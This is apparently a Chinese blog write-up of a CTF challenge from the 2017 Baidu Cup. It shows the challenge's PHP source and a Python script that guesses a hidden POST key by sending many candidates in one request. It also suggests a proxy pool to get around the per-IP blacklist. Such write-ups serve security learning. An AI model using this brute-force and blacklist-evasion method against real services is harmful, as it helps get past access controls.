百度杯2017年春秋欢乐赛

ctf

字数统计: 213阅读时长: 1 min

 2018/10/14   Share

<?php
header(“content-type:text/html;charset=utf-8”);
show_source(__FILE__);
echo ‘<pre>’;
include(‘u/ip.php’);
include(‘flag.php’);
if (in_array($_SERVER[‘REMOTE_ADDR’],$ip)){
die(“您的ip已进入系统黑名单”);
}
var_dump($ip);

if ($_POST[substr($flag,5,3)]==’attack’){
echo $flag;
}else if (count($_POST)>0){
$ip = ‘$ip[]=”‘.$_SERVER[‘REMOTE_ADDR’].'”;’.PHP_EOL;
file_put_contents(‘u/ip.php’,$ip,FILE_APPEND);
}

echo ‘</pre>’;
array(0) {
}

POST的数据要为$flag的第6位到第9位,一般flag是flag{xxx12321}
且数据为attack
一次post最多为1000个数据

import requests
url="http://a47333e7d9d743a0b5951d2de698e921d1a1820fde514c99.game.ichunqiu.com/"
s='0123456789abcdef'
data={}
for i in s:
	for j in s:
		for k in s[3:6]:
			data[i+j+k]='attack'
print(data)
r=requests.post(url,data=data)
print(r.text)

我发现重置容器后,flag会变….要开代理池,或者看运气
我只跑出来一次,自闭了…

原文作者：醉梦半醒

原文链接：https://www.iloveflag.com/2018/10/14/'%E2%80%9C%E7%99%BE%E5%BA%A6%E6%9D%AF%E2%80%9D2017%E5%B9%B4%E6%98%A5%E7%A7%8B%E6%AC%A2%E4%B9%90%E8%B5%9B%EF%BC%9A%20%20%E4%B8%80%E4%B8%AAip%E5%8F%AA%E6%9C%89%E4%B8%80%E4%B8%AA%E6%9C%BA%E4%BC%9A%EF%BC%8C%E5%93%88%E5%93%88%E5%93%88%E3%80%82'/

发表日期：October 14th 2018, 5:22:52 am

更新日期：August 24th 2020, 3:44:34 pm

Next Post

2018杭电公测ctf writeup
Previous Post

Centos7 实现ngrok内网穿透

CATALOG

